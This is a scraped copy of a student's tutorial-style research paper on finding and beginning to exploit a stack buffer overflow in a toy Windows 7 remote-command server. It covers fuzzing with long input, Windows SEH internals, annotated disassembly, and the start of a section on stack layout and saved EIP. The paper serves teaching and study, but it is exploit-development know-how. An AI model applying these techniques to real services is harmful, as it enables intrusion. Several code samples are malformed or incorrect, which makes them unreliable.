103
Application Attack Research Unit (AARU) On Windows 7 (By Amit Aggarwal) 1

Research

  • Upload
    0xvoila

  • View
    38

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Research

Application Attack Research Unit (AARU)

On Windows 7

(By Amit Aggarwal)

1

Page 2: Research

Application Attack Research Unit (AARU) On Windows 7

(By Amit Aggarwal)

(Computer Handle : Voila)

Introduction :

Hello friends , After my paper which explain, how we can infilterate( breaking integrity ) the database system of our jive 2010 website i.e www.jive-x.com , after 6 months I m back with my new research paper in which i will discuss the " Security of third party services running on WIN 7 " . Alternatively in this paper i will demonstrate , how we can breach the Security of Win 7 by attacking third party services running on the system .

Windows 7 is the result of over four years of work and investment of billions of dollars . It is billed as most secured version of Microsoft Windows Operating system yet . It is the Operating System that secure all services running on the system from any break-in , thats why security technologies implemented in Windows operating system is such a big issue . In this paper i will also explain WIN 7 security concepts .

To make this paper more understandable i divide the complete paper in two major parts one of which is "Vulnerability Analysis" and other is "Exploition of Vulnerability" . In "Vulnerability Analysis" i will show you , how we will find the vulnerability in the targeted service. "Vulnerability Analysis" again divided into two subparts "High Level Analysis " and "Low Level Analysis" . In "Exploitation of Vulnerability" i will show you , how we can exploit the Vulnerability to get control over the system .

Who i am :

I m Amit Aggarwal , 4rth year Computer Science student of Jaypee Institute Of Information Technology (University) Noida . My area of interest are Reverse Engneering , Vulnerability Analysis , developing new Exploitations techniques , developing fuzzers and interested in everything which concern with the Microsoft Products Security .

Independently , I m working in this field from last four years . I have hand-on experience

2

Page 3: Research

with linux and its security issues . From last two years i m engaged with my Lovely Windows . At present I m researching on ASLR , DEP implemented on Windows Vista and Windows 7 .

My Ultimate Aim is to revolutionize a most ignored topic "Computer Security" in India .

Tested Upon :

I have tested my testcases on Windows 7 and Windows Vista and i was successfully able to bypass securities of both operating system .

Words Before Journey :

Before i start , I like to clear few things , Here i m not going to show you any software on which when you click on "glittering green button" , it will hack the system for you or here i m not going to show you any five minutes trick which do a magic . If you are reading this paper with this mindset , its my advise to leave it now . Here I will use the complete manual approach from starting to end of the breaking into WIN 7 with indepth knowledge of security technologies implemented in Win 7 . One thing more , when i say hack the system . its doesn't mean when system get hacked , a windows will pop out and display administrator password and we begin to control the system forever . Actually our extend of control over the system , all depend on how much privileges we have , its all depend how the programmer codes the services , its all depend on the platform service running on , its all depend on the architecture of the CPU .

May be you will find lots of spelling mistakes and formatting error in this paper because i m writting it in WordPad , which do not have dictionary to correct the spellings and i m not familiar with its formatting features , so Sorry for that .

Guys , now relax and take a deep breath, because we are going to start a journey , on which way is made up of "Assembly Language" , pebbles of "CPU Registers" , and have only one support of "debugger" .

Scenario :

To Demonstrate , how to attack on the application , i have taken a very common scenario in which administrator handle its server remotely through a server program after authentication .

3

Page 4: Research

I will use "myserver.exe" ( our target application ) as a server program running on system which has default installation of WIN 7 operating system . "myserver.exe" is a server progr amm , when client connect to it , it will take username and password . If client able to authenticate , then he/she will be able to execute commands on the server i.e on WIN 7 with Administrator privileges . So we can think of this server programm is a way for administrator to execute commands on the server operating system remotely but after authentication .

We also have a client programm "clientwin.exe" through which you can connect to the server , after authenticate yourself , you will be able to executed commands through your client programm .

Here i will use screen shots extensively to show every command i m executing on my system . Don't worry it will get clear you when you start on .

Here "Brain , Debugger , C " are tools in my arsenal to attack on WIN 7 via "myserver.exe" .

Now GET SET GO .......

Vulnerability Analysis :

So as we donot know the username and password need for authentication , but if somehow we get it , or we able to by pass the authentication code of the server at run time , then obviously we become administrator and able to executed commands . Lets start hitting our head against myserver.exe

High Level Analysis :

Screen shot of My Desktop ..

4

Page 5: Research

My Desktop

So as attacker we know that target system running the program name "myserver.exe" . So we suppose to download it from the internet , say i download it , and run it on my machine , so that now i can figure out , how it (myserver.exe) react for my inputs from client (clientwin.exe).

I run the myserver.exe on my machine

Screenshot will be like this ..

5

Page 6: Research

Server "myserver.exe" is running

Now Run clientwin.exe , our client programm ..

Screenshot will look like this :

6

Page 7: Research

clientwin.exe is running

See the above screenshot , we execute command "clientwin.exe 127.0.0.1" , then after we connect to the server running , we get the string "Enter Username" send by server . It is not necessary , that string "Enter Username" is send by server , because it may happen , server send a code say , '9' which is converted to string "Enter Username " by client . But for now just consider , this string is send by server .

So now we have Point 1 -> Server sends string "Enter Username" , keep this in mind . Now move on .. so as we donot know the username so enter the Username whatever you want .. look at below screenshot ..

Screenshot look like this .....

7

Page 8: Research

here , when i enter username = "idunknwousername" , then it prompt for string "Enter Password" , so i enter password="idunknowpassword" .

Till now we have findout two things ... Sever definitly have two strings

1 -> "Enter Username" (keep in mind)

2 -> "Enter Password" (keep in mind)

Now we move on , and now i press the "Enter" button .. so lets see whats happen in next screen shot ..

Screnshot look like this ..

8

Page 9: Research

look at screenshot below :

so , when username and password are wrong then we get "Username and Passowrd Wrong" . And we also see that server is still running without any crash ..

Now again connect to the server , but this time give the input a big string and lets see what will happen ..

Screenshot will look like this ...

9

Page 10: Research

then , when we look at the server .. server throws an exception ..

Screenshot of server crash look like this ...

Exception throw by server myserver.exe ...

Note each and everything in exception ... like exception code =0xc0000005 , Address=0x61616161

Now when i click on " Ok " server terminates and exit .. Ok so for now we conclude few things which are ..

server sends .. "Enter Username" , "Enter Password" and throws an exception when a long string is send to the server .. So actaully something goes wrong with server when a long string for username is send to it ..

This ends our " High Level Analysis " , so before we move forward , lets revise what we have done so far .

1. First we send simple username and password to server .. server donot authenticate us ..

2. Then we note strings pattern for future analysis .

3. Then we send long string to server , then we noted down server throws an exception .

10

Page 11: Research

4. Finally , we noted the exception code and address ..

Conclusion from High Level Analysis :

1. Server must hang in "recv" function (or recv like function ) to accept username after sending string "Enter Username" to the client .

2. Server must hang in "recv" function (or recv like function )to accept password after sending string "Enter Password" to the client .

3. When we send long string to the server , it throws an exception and terminates . It means server must have a exception handler to handle abnormal termination .

I will unfold each and everything about exception , which terminates our server in our low level analysis .

Low Level Analysis :

Before I started out with Low Level Analysis , i suggest , if reader is not able to grab the things explained above , then read it again .. becuase i m sure , if he/she not able to get High Level Analysis , then there is no point , reader will be able to understand Low Level Analysis .

Now load the myserver.exe in debugger .

Scrrenshots will look like this ..

11

Page 12: Research

Debugger Window

Ohh this time its some crypted things . So before we move on . let me explain everything about this screen .. The next screen shot u will see , is of upper left side part i.e disassembly part of the exe file "myserver.exe"

Screenshot of Disassembly :

12

Page 13: Research

Disassemble Window

heheeh .. I m really sorry , its really hard for me to make a good design .. well let move ahead . So as you can see in the above screenshot , left side has address .. this is the address of the RAM at which our exe will is loaded . Every prcocess loaded at starting address (base address) of 0x40000000 . But now you may think how its possible for every process to load at same address , then here the concept of Virtual memory , Page Table comes into picture , well i donot want to dive into it for now .

Then in the middle you can see the machine code of the instruction , then on the right hand side you can see the assembly code of the instructions ..

Now in next screen shot you will see the right down part of the "Debugger Window" i.e we call it stack memory ..

ScreenShot of Stack Memory ......

13

Page 14: Research

Stack Window

So in above screenshot we can see on left hand side again address , but this time address is somewhat different from disassembler windows , it is becuase , it was code segment , now we are talking about stack segment .. We cannot depend on the address of stack segment , because these address get randomize by kernel of WIN 7 (you will get it soon , what i mean to say ) .

Ok , So now in next screen shot i will show you right upper windows i.e Register windows

ScreenShot of Register Window:

14

Page 15: Research

Register Window

In above screenshot you can see the register values , eax = 0x76f01162 , and it points to the text segment of the kernel32 dll . We can see the Eip register , which points to address 0x00401225 , it means instruction at this address is going to execute . Then we can see the carry flag 'C' , Parity Flag 'P' , Auxilary Flag 'A' , Zero Flag 'Z' , soo on ..

For now these 3 screens are enough for us .

Assembly Assembly Assembly!!!!! :

So , now its time to understand the code of the myserver.exe from the disassembly window . We take a few instruction at a time and we will try to understand .

15

Page 16: Research

okies , so now EIP points to 0x00401225 , its means execution of the myserver.exe gonna start from here . To understand the code written in above snapshot , we have to understand a very basic / complex / powerful concept given by Microsoft to handle the abnormal termination of the process. We call the concept SEH (Structure Exception Handling).

Structure Exception Handling (SEH) :

It is the most prowerful and most complex concept from the Microsoft to handle abnormal conditons occurs in the process . So now i m going to explain it ahead .

We all write a code in C language , but we never ever use the C- extension given by Microsoft , i.e. __try , __except , __finally .. So suppose i write a C programm using C extension of Microsoft .. like this .

#include <stdio.h>

#include <conio.h>

#include <string.h>

void main()

{

16

Page 17: Research

int a , b;

a=5 ; b=0;

__try {

b=a/b;

printf("%d",b);

}

__except (......expression.....)

{ printf("hello this is Amit Aggarwal");

}

}

So what this programm basically doing is , it divides the 'a' with '0' . If any exception will occur , then CPU will leave the execution and begin to evalute the "expression" in () of __except block . If after evaluating "expression" , it returns EXCEPTION_EXECUTE_HANDLER (CODE IS '1' ) , then CPU will execute instruction written in __except block and exit from the process . But if "expression" returns the "EXCEPTION_CONTINUE_EXECUTION (CODE IS '-1' )" , then it means it instruct CPU to start execution from where it leaves , So in our case it again begin to execute again b=a/b , which ultimately again cause a exception . If " expression " returns " EXCEPTION_CONTINUE_SEARCH (CODE IS '0' ) " , then its means it search for the next exception handler to handle this exception .

We call "expression" as "filter" function .. code inside "__except" called exception handler .

So to dive into the sea of assembly , we have to write the code for "filter" of the above programm . Lets start ,

prototype of the "filter" function look like this ..

EXCEPTION_DISPOSITION __cdec1 __except_handler(

struct _EXCEPTION_RECORD *exceptiorecord void *Establisherframestruct __CONTEXT *Contextrecordvoid *DispatcherContext )

yaa i know , above prototype is really a overwhelming , but its really not hard to understand it , if

17

Page 18: Research

we take each parameter one by one . so i start with ...

struct __EXCEPTION_RECORD *exceptionrecord : It is a pointer to the structure __EXCEPTION_RECORD . This structure holds the information about the exception occurs in the process .

Definition of the __EXCEPTION_RECORD will be like this .

typedef struct __EXCEPTION_RECORD {

DWORD ExceptionCode;

DWORD ExceptionFlags;

struct _EXCEPTION_RECORD *ExceptionRecord;

PVOID ExceptionAddress;

DWORD NumberParameters;

DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];

} EXCEPTION_RECORD;

So now its time to explain the memebers of the structure __EXCEPTION_RECORD .

here "ExceptionCode" will hold the code of the exception define in the headerfile NSTATUS.h . For "AccessVoilation" exception , ExceptionCode will be set to 0xc0000005 , hey may be we have seen this code before also , in the exception we generated on our "myserver.exe " , so now you begin to links the things ..

Next is "PVOID ExceptionAddress" , it holds the DWORD Address of the instruction where the excpetion has been occur . In our case exception was at address "0x61616161" .

You can ignore rest of the members of this structure . Now we come back to our prototype of the function __exception_handler . Second parameter of the Establisher , it is vital parameter , but for now we will leave it . Then we come to third parameter i.e __struct ContextRecord , it is a pointer to the structure ContextRecord , its defnition is like this .

typedef struct __ConextRecord {

double Fpr0;

double Fpr1;

18

Page 19: Research

double Fpr2;

double Fpr3;

double Fpr4;

double Fpr5;

double Fpr6;

double Fpr7;

double Fpr8;

double Fpr9;

.................................... }

here fpr stands for "Floating Point Register" basically __CONTEXT structure contains the register value for a particular thread at particular moment .

So it completes the explanation of the prototype of the __except_handler ..

So whenever , exception will occur , OS will call the function __except_handler , then we can do whatever we want because all these paramters are filled by OS itself , so we have value of register , type of exception , exception code and many more things , finally we return one of the code value of -1 , 0 , 1 .

But now point is how OS come to know the address at which our exception handler is ???

Answer of this question is aonther structure named struct __EXCEPTION_REGISTRATION

definitation of this structure is

typedef __EXCEPTION_REGISTRATON {

prev dd ?

handler dd ?

}

This structure is build on the stack whenever there is use of __try { } , __except .

here "prev" is a pointer to the previous __EXCEPTION_RECORD , "handler" is a address of your handler .

Now question is how OS come to know , where to look for __EXCEPTION_REGISTRATION ???

19

Page 20: Research

Answer of this question is the "Thread Information Block (TIB) " . There is a register FS:[0] , which always point to the TIB , and the First DWORD of the TIB holds the address of the first __EXCEPTION_REGISTRATION . So finally it Linklist of the Exceptions formed like i have shown in the figure .

Snapshot of Linkist of exceptions :

Link list of the Exceptions

So you can see in the above snapshot , FS:[0] points to the TIB of the current thread , TIB holds the address of the very first EXCEPTION_REGISTRATION , then in turn First EXCEPTION_REGISTRATION , points to the location which has DWORD value of the "handler" and next DWORD value points to the previous (i.e pointer to the Next EXCEPTION_REGISTRATION ) , handler will point to the code of the "filter" . Last EXCEPTION_REGISTRATION 's prev always point to NULL .

So with this information , now i m converting my programm (above written) into inline asembly language ..

20

Page 21: Research

#include <stdio.h>

#include <conio.h>

#include <string.h>

EXCEPTION_DISPOSITION __cdec1 __except_handler (struct _EXCEPTION_RECORD *ExceptionRecord , void *Establisher , struct _CONTEXT *ContextRecord , void *DispatcherContext)

{

unsigned i;

// Indicate that we made it to our exception handler

printf( "Hello from an exception handler\n" );

// Change EAX in the context record so that it points to someplace

// where we can successfully write

ContextRecord->Eax = (DWORD)&scratch;

// Tell the OS to restart the faulting instruction

return ExceptionContinueExecution; // OR you can return the -1 value also

}

void main()

{

21

Page 22: Research

int a , b;

a=5 ; b=0;

/*...........................................

__try {

b=a/b;

printf("%d",b);

}

..................................................*/

// Above __try block will be converted to this assembly code .

__asm {

mov eax,fs:[0]

push ebp

push 0xffffffff ----------------> call it state -1

push ds:__scopetable

push handler

push eax

mov fs:[0] , esp

push edi

push ebx

push esi

mov [ebp-4] , 0 ------------------------> call it state 0 , actaul start of __try

block

sub esp, 0x8

mov [ebp-24] , 0 ; b=0

22

Page 23: Research

mov [ebp-28] , 5 ; a=5

mov eax, [ebp - 28]

div eax, [ebp-24]

mov [ebp-24], eax

push DS:__format_string

push eax

call __printf

mov [ebp-4] , 0xffffffff -----------> again state goes to -1 , so end of try

mov eax, [ebp-10]

mov fs:[0],eax

add esp , 24

}

/* ...............................................................................................................................................

__except (......handler define above .....)

{ printf("hello this is Amit Aggarwal");

}

.............................................................................*/

// Above __except.. code can be converted to assembly inline like this ..

__asm {

move esp , [ebp-18] // restore the stack ..

push DS:__string

call __printf

23

Page 24: Research

} // end of asm code

}

So basically from above programm we come to know that , whenever programmer codes a __try and __except , then compiler will set the __EXCEPTION_REGISTRATION RECORD on the stack . If you look at the asm code for the __try block , then first seven instruction corresponds to settingup the __EXCEPTION_REGISTRATION RECORD on the stack .

Now i like to give you a litlle explaintation about the asm code of the __try block ..

__asm {

1. mov eax,fs:[0]

2. push ebp

3. push 0xffffffff ----------------> call it state -1

4. push ds:__scopetable

5. push handler

6. push eax

7. mov fs:[0] , esp

8. push edi

9. push ebx

10. push esi

11 mov [ebp-4] , 0 ------------------------> call it state 0 , actaul start of

__try block

sub esp, 0x8

mov [ebp-24] , 0 ; b=0

mov [ebp-28] , 5 ; a=5

mov eax, [ebp - 28]

24

Page 25: Research

div eax, [ebp-24]

mov [ebp-24], eax

push DS:__format_string

push eax

call __printf

mov [ebp-4] , 0xffffffff -----------> again state goes to -1 , so end of try

block

}

1. In this we save the pointer to the TIB , because , now we have to push one more handler .

2. It is know as procedure prologue , in this we pushes value of ebp . Ebp will old the base address of the previous function . We push this value onto the stack , because when we return from the function , we can retain where the local variable of the caller function resides .

** Remeber ebp is also a member of the __EXCEPTION_REGISTRATION RECORD , i have skipped this thing to minimize any confusion .

3. We push value -1 , Microsoft call it "__trylevel " , it decided in which __try level we are , when value is -1 , then its mean we are not in any __try block , when its value is 0 , then it means we are in __try block , if without moving to again at trylevel -1 , we move to trylevel 1 after 0 , then its mean we have nested __try .

4. In this instruction we pushes the address of the scope table , here i have skipped the explanation of this parameter to avoid any confusion ..

5. In this insrtuction we push the address of the handler or we can say address of the filter , i.e the address of the __except_handler , we defined above .

6. In this instruction we pushes the store value of the eax , i.e we save the address of the handler of previous __EXEPTION_REGISTRATION RECORD .

7. In this instruction we , allow fs:[0] to point to our __EXCEPTION_REGISTRATION RECORD , i .e the newly updated .

25

Page 26: Research

Then in rest of instruction we have do all calculation like division and all .

**** Here i have explained about the SEH only that much , which enable us to understand the first 7 lines of our DIsassembly Windows , so if you want to understand more about the SEH , you can contact me, my pleasure :) . ************

Now we back to our Disassembly Windows . so its snapshot again is :

Snapshot of Disassembly Windows :

So lets start .. I hope , now you may be able to understand these instruction because these are same as i have explained above . Well let me explain them again .

0x00401225: save previous handler

26

Page 27: Research

0x0040122b: save previous base frame pointer .

2c : pointing the ebp to the current frame

2e: making trylevel to -1

30: pushing scope table address < leave it >

35: pushing address of the handler i.e myserver.0040109a

3a: saving address of previous handler

3b: pointing the fs:[0] , to Current __EXCEPTION_REGISTRATION RECORD

42: saving the value of esp to [ebp-18] ,so that it can be retain later .

Now i will explain about rest of the code in bulk . instead of every instruction .. and Whenever i find any interested instruction , i will explain it seperatly .

0x00401225 : see [ebp-04] , has been set to 0 , its means there is use of __try block in the myserver.exe

Now lets move to Next screen shot of Disassembly Windows .

Snapshot of Disassembly :

27

Page 28: Research

So look at at address 0x00401288 i.e call __GetMainArgs , here programmer pushes 4 values . last value is 0 , then third value is a address 0x0040a030 , second value is 0x0040102c , first value is again 0x0040a028 , all these address are refer to the DATA SEGMENT of the programm . Basically what the __GetMainArgs is doing is , it paring the command line parameters and storing them on the addresses passes to it .

So when __GetMainArgs will be called , then it will set the various parameters at these address . See these values we are accessing in instructions at address 0x0040129f , 0x004012a5 , 0x004012ab .

After these values has been set by __GetMainArgs , then there is a call at address 0x004012b7 , "call myserver.00401557" . It is basically from where the coding done by programmer starts up .

So lets see what the code has been emmited by compiler . Next snapshot will show you the code at address myserver.00401557 .

Snapshot of disassembly :

So we start from the top , if you have understand the concepts i have explained above , then i hope you will be able to understand the first three instruction .. Here i m explaining again ,

Firstly we are pushing the ebp to save the value of ebp onto the stack , then we are making the 28

Page 29: Research

top of the stack , the current frame i.e Ebp=Esp , then in the third instruction we are making the space on the stack , the space is of 8b hex . Then we look at the instruction at address 0x00401581 , we push 200hex then we call the malloc function .The value return from the malloc is a pointer to the heap memory , that pointer is push on the stack at address 0x0040158e . So finally we can convert this statements like this ...

a=malloc(0x200);

a is pointer to the heap .. a is a value on the stack and its address on stack is ebp-30

So if you want to visualize it in figure , then look at the sanpshot below . ..

malloc function in runtime memory

So in figure you can see the ,, 0xABCD is stored on the stack at address ebp-30 , but which basically a pointer to the heap memory , we allocate using malloc function .

So lets move forward , leave rest of the code in the above disassembly , because its not we need to know , but definitely it is code written by programmer .

29

Page 30: Research

Next snapshot you will see of disasembly continue.

well code here not of our interest but still you can see that there is a call to function

getaddrinfo() function , paramertes pass to it are , first parameter is 0 , second paramter is port number which you can see "2700" , then thrid parameter is '1' , which may be the hints .. and soo on .

Lets move ahead , again next disassembly snapshot Continue ..

30

Page 31: Research

Here we can see the call to Socket function , and all the parameters pass it are resides in the DATA SEGMENT , so call to socket can be like this ...

socket(AI_FMAILY, SOCKET_TYPE , IPPROTOCOL)

Interesting instruction here is at address 0x0040163f , becuase here the return value from the socket , is stored at the DATA SEGMENT at address DS:[40A0A0]. Then programmer compare if return value is -1 , then it call the WSAGetLastError , which will exit from the programm .. so code can be like this one .

If there is no error , means sockeet has been created successfully , then we can jump to the instruction at address 0x00401679 . Programmer pushes the address to teh string in DATA SEGMENT "Now i m Listening" , onto the stack , then it call a function at address 0x0040167E ,

Strange thing is that it is a call to "printf" function . Here compiler for optimization , inline the definitlation of printf , instead of calling it from the library .

Finally we can make the code like this .

31

Page 32: Research

x= socket(AI_FAMILY , SOCKET_TYPE , IP_PROTOCOL)

if (x==-1)

{ call WSAGetLastError();

}

else

{

printf(""Now i m Listening ");

}

Now look at the Disassembly Continue ..

So now there is call to "bind" function , in which programmer passes , the four arguments , first of them is the Socket identifier , As you can see that , compiler picks its value from the DATA

32

Page 33: Research

SEGEMENT i.e DS:[40A0A0] , it is the location where the SOCKET function stores its return value . After calling bind there its return value is stored onto the stack at address Ebp-C , at instruction at address 0x0040169D , its value is compare against -1 , if it is -1 , then programmer calls the WSAGetLastError , and then do some clean up . If bind donot fail then there is a jump to the instruction 0x004016DA .

So now we can make a code of myserver.exe

x= socket(AI_FAMILY , SOCKET_TYPE , IP_PROTOCOL)

if (x==-1)

{ call WSAGetLastError();

}

else

{

printf(""Now i m Listening ");

}

y=bind(x,,,);

if(y==-1)

{

WSALastError();

WSACleanUp();

}

else

{ jmp 0x004016DA;

}

33

Page 34: Research

Now look at the Disassembly Continue :

In above snapshot you can see the call to "listen function" . At instruction 0x004016E2 , pushes the number of connection it can make simultaniously , then call to listen occurs . Then finally look the at instruction at address 0x00401727 , from here arguments are pushes onto the stack . then finally make a call to "accept" function . Here is the call where the myserver.exe first time hangs to accept connections .

Now look at the disaasembly Continue..

34

Page 35: Research

So here we get connection after call to accept function (look at instructions at address 0x00401731) . Then the client Socket (the return value of accept function) is stored in DATA SEGMENT at address DS:[40A0A4] . If this value is -1 (look at instruction 0x0040173B) , then again there is a call to WSALastError then call to WSACleanup . But if there accept call is successful , then there is a jump to address 0x00401770

Things begin insteresting from here ..

Now Client Socket has been pass to the function call at addres 0x00401776 (myserver.00401955) . Now lets see whats in the code on function myserver.00401995

Now look at the disassembly Continue .....

35

Page 36: Research

So lets look at the code in this window .

start from the address 0x00401973 , we can see that arguments for malloc function is pushed onto the stack , so 0x200 is passed to malloc , then malloc will return the pointer to the heap , whose value will stored in the eax register . Then value of Eax will be passed on the stack look at address 0x00401980 . then that value is moved in the register Edx , finally which make the first byte of the allocated memory to NULL by instruction at address 0x00401986 .

Then there is a call to function myserver.00404919 , and arguments to this function is a address which is stored at DATA SEGEMENT DS:[0040A00C] , and address of the stack is also passed through the EDX register at instruction 0x00401991 .. then finally there is call to myserver.00404919 .

When we look at the call to myserver.00404919 , then we will find that it is coping data "Enter Username" from DATA SEGEMENT to STACK .. you can look this in the picture i have draw below ..

36

Page 37: Research

Coping Data from DATA SEGMENT to STACK

See coping of data will be done only after the call to myserver.00404919 , parameters pass to it are ebp-64 , 0x0040DC , .. Now if you want to look at the assembly code of the function myserver.00404919 , then snapshot is below ...

Now look at Disassembly Continue ...

myserver.00404919 code below

37

Page 38: Research

At Label 1 , we can say it is counting the number of characters in the "EnterUsername" , then at Label 2 , it is coping string ..

So now move on , because soon we are going to reach to the destination ..

let back to our main function ..

Further Disaasembly look like this of our main function ..

38

Page 39: Research

Here We will start from address 0x004019A6 , as we can see there is a call to "send" function and arguments passed to it are , last argument is 0 , then third arguments is size of the string "Enter Username" , Second argument is address of the string , first arguments is the SOCKET .

After send the string to the client , then it hangs in the "recv" function .. THIS WAS OUR FIRST ASSUMPTION IN HIGH LEVEL ANALYSIS WHICH COMES TRUE ..

So lets closely look at the arguments passed to the "recv" function ..

Last argument passed to it is 0 , Third arguments passed to it is size of the buffer which is stored at address ebp-70 , then we pass the address of the buffer which is located at address ebp-68 , the address of the buffer where we have to stored our received string is pointer to heap memory location . First argument is the SOCKET .

So after analysing "recv" function we come to know that recevied string will be stored at heap and the size of the allocated memory is 0x200 bytes ..

fine .. now note these things and moved on ..

Now look at the instruction 0x004019C8 , if number of recevied bytes are equal to 0 , then it move -1 to EAX , then call to myserver.00401AD4 .But if recv is successful , then there is jump to 0x004019D8 , So here i m considering receive is successful , then we jump to 0x004019D8 ..

Now look at the Disassembly Code of the myserver.004019D8

39

Page 40: Research

Ok , so lets start understanding this assembly code from address 0x004019D8..

At instruction 0x004019D8 , return value from the recv moved to EDI register , which means number of bytes move to EDi register . Then in next instruction moving the pointer to the heap to ESI , then in third instruction i.e at address 0x004019DE , we make the (last byte+1) to 0 i.e NULL . then there is a call to some function mysever.0040919 , its arguments are the pointer to the heap whch points to the Username enter by user , and first arguments is the address of the stack ..

So lets look how call to myserver.00401919 with parameter of pointer to receivce string and address of the stack cause a Vulnerability .. so for that we have to look at the code of the function myserver.00401919 ..

Look at the code of myserver.00401919

MOST IMPORTANT CODE OF THE myerver.exe

40

Page 41: Research

so i will start from the instruction at address 0x00401919 , At this instruction pointer to the string is moved to the EDX register ,

Then at address 0x0040491D , making EAX register to 0

Then at address 0x0040491f , simply moving ECX =-1

Then at address 0x00404924 , exchanging the value of EDX and EDI

Then at address 0x00404926 , counting the number of bytes in the string (which is in heap memory ), Negetation of the number of bytes will be moved in the ECX register

Then at address 0x0040428 , again doing the negtation so receive the actual number of bytes .

Then ar address 0x004042D , address of the stack where receive string has to be copy is moved in the EAX register .

Then at address 0x0040431 , there is exchange of the value of ESI and EAX .

Then at address 0x0040432 , Coping of the data from heap (EDi) to (ESI)

Vulnerability Exists in the Last instruction becuase here compiler will copy data from heap to the stack without any check on the size of the destination and source string .

41

Page 42: Research

Quick Revise of Complete Disassembly of myserver.exe :

1. First of all Compiler (Lcc) setting up its Exception handler onto the stack ..

2. The call to __getmainargs to set the enviroment variable and little stuff more .

3. Then there is call to main function myserver.00401557 of the myserver.exe , it is the function from where the programmer written code has been started . It is the function where the call to SOCKET , BIND ,LISTEN , ACCEPT occurs .

4. Then main function calls another function myserver.00401955 , it is this function which deals with the send and recv of the username from the client . Here Server after receving username coping onto the stack , and then prompt the user for password . after receving the password , then it matches it with hardcoded password . If password matched , then it sets return value to 1 and return ..

5. After return from the myserver.00401955 , if return value is 1 , then there is a call to myserver.00401796 .

6. Here myserver.00401796 , is the MOST INSTRESTING FUNCTION , because if username and password matched , then control finally returns to here . It is the function which execute commnads on the WIN 7 .

Psuedo Code of mysevrer.exe for quick overview :

__asm {

//settingup of exception handler by compiler , so whatever code written by //programm er, below code going to add to it to handle any abnormal terminateion of the //programm .

mov eax,FS:[0]

push __ebp

push 0xffffffff

push DS:<__scope_table_entry>

42

Page 43: Research

push __except_handler4

push eax

mov FS:[0],esp

push esi

push edi

push ebx

call __getmainargs (.....)

call myserver.00401557

...

}

call myserver.00401557 (.....)

{

__asm {

<__procedure_prelogure>

[ebp-30] = call malloc (0x200)

DS:[404A0A0] = call socket(....)

[ebp-C] = call bind(DS:[404A0A0] , .....)

[ebp-C] = call listen(DS:[00404A0A0], 0x7fffffff)

[DS:00404A0A4] = accept(DS:[00404A0A0] , 0 , 0)

if ([DS:00404A0A4] != -1 )

{

Label: jmp myserver.00401770

}

43

Page 44: Research

Label:myserver.00401770

{

__eax= call myserver.00401955(__client_socket)

if (__eax == 1 )

{

call myserver.00401796

}

}

return

}

myserver.00401955 (__client_socket)

{

__asm {

<Procedure_prelogue>

}

[ebp-68] = malloc(0x200)

call strcpy(ebp-64,DS:[0040A0Dc])

call send(SOCKET , ebp-64 , __data_size, 0 )

[ebp - 6c ] = call recv(SOCKET,([ebp+8]--> pointer to heap) , __size_of_heap , 0)

same for password

__eax= strcmp( [ebp-68] , "__hard_coded_password" )

if (__eax==0)

44

Page 45: Research

{

Label : jmp myserver.00401AD4

}

Label myserver.00401AD4 :

return

}

myserver.00401796(....)

{

__asm {

<__procedure_prelogue>

}

[ebp-6C] = call malloc(0x200)

[ebp-4] = call recv(DS:[0040A0A4] , .......)

[ebp - 4] = call WinExec([ebp-68] , 0A)

if ([ebp -4] <= 0x1f )

{

Label: jmp myserver.00401852

}

else

{

}

45

Page 46: Research

Label: myserver.00401852

{

call strcpy( ebp-68 , "-1 " )

[ebp-74] = call send( __Client_SOCKET , ebp - 68 , __size_of_buffer , 0 )

if ( [ebp - 74 ] == -1 )

{

shutdown(__CLient_Socket)

}

}

Conclusion from Vulnerability Analysis :

We conclude that , myserver.exe authenticate the client for username and password , if username and password matched to the hardcoded , values , then control of programm sends to the instruction myserver.004001796

OUR HALF JOURNEY HAS BEEN OVER , NOW GET READY FOR NEXT HALF , THE FINAL ONE .....

Exploitation of Vulnerability :

So from here , our next interesting research starts . To exploit the Vulnerability we found in the mysever.exe , we have understand a very basic and most easy concept that i call "Run-Time

46

Page 47: Research

Process Memory Layout" .

Before i start with the topic , i like to say that , like in "Vulnerability Analysis" we go thorugh only by DIsassembly Windows , But here we have to go with Disassembly as well as Stack window , and sometime with "Register Window also" . So lets start with the new topic "Run-Time Process Memory Layout" .

Run-Time Process Memory Layout : Whenever a programm loaded into the memory , then it becomes a process , and it layout in memory in special way , like say i write a program .

----------------------------------------------

#include <stdio.h>

#include <conio.h>

void start ( char m , int c)

{

int a ;

char b;

a=c;

b=m ;

abc(b,a);

}

void abc(char c , int d)

{

printf("i m Amit Aggarwal");

mno( c, d );

printf("i m very good boy");

47

Page 48: Research

}

---------------------------------------------------

Stack memory layout of the above programm will be like this ..

Snapshot of function "start" and "abc" in memory layout :

Snap shot of both functions in memory .

Lets take a closer look on the stack one by one ..

Snapshot for stack memory of "start" function :

48

Page 49: Research

Stack Window for "start" function ..

As i have explained each and everything in the snapshot itself .

But one interesting thing here to noted down is the "saved eip" value in the snapshot . after all whats it is ??

Basically , when "start" function is called by some function , then that somefunction pusehes , the arugments of "start" function onto the stack , here it is 'm' and 'c' . Then when that somefunction call the "start" function , then before calling the start function CPU pushes the return address onto the stack . it is the address where CPU has to resume the execution after returning from "start" address . Then after that exectuion of the "start" function starts .

Now take a look at the snapshot of call to "abc" function by "start" function :

49

Page 50: Research

Stack grows toward lower memory address

I hope you will be able to understand evrythign from the above pic , see this time again before calling "abc" by start , "start" pushes the arguments to "abc" i.e 'a' , 'b' , then when it call "abc" , then first of all , CPU pushes the address of the instruction in "start" function onto the stack , then execution of the function "abc" starts ..

So when the function "abc" returns to "start" , then CPU will pick the return address from the "saved eip" from the stack , then continue execution from there .

Now lets see all these in the debugger to take a feel of reality ..

First of all take a look at the code of disaeembly of which we are going to see the stack memeroy layout ..

50

Page 51: Research

Snapshot of Disassembly stack and register window at same time :

stack , disassembly , register Windows at same time

So here , we will start reading disassembly , and then try to understand how the stack memory formed for the process .

FIrst look at the Stack Window .

As we know that it is a function called by some function , so there must be return address onto the stack . so lets see.

look at the stack windows instruction 0x0012ff8c , we can see that there is a address 0x77A51174 . it is the address of the Dll named kernel32 . After returning from current function , CPU has to resumes its execution from saved EIP i.e 0x77A51174 .

Now look at the disassembly Windows .

51

Page 52: Research

instruction at address 0x00401225 doesnot pusesh anything onto the stack , it just save the pointer to the TIB .

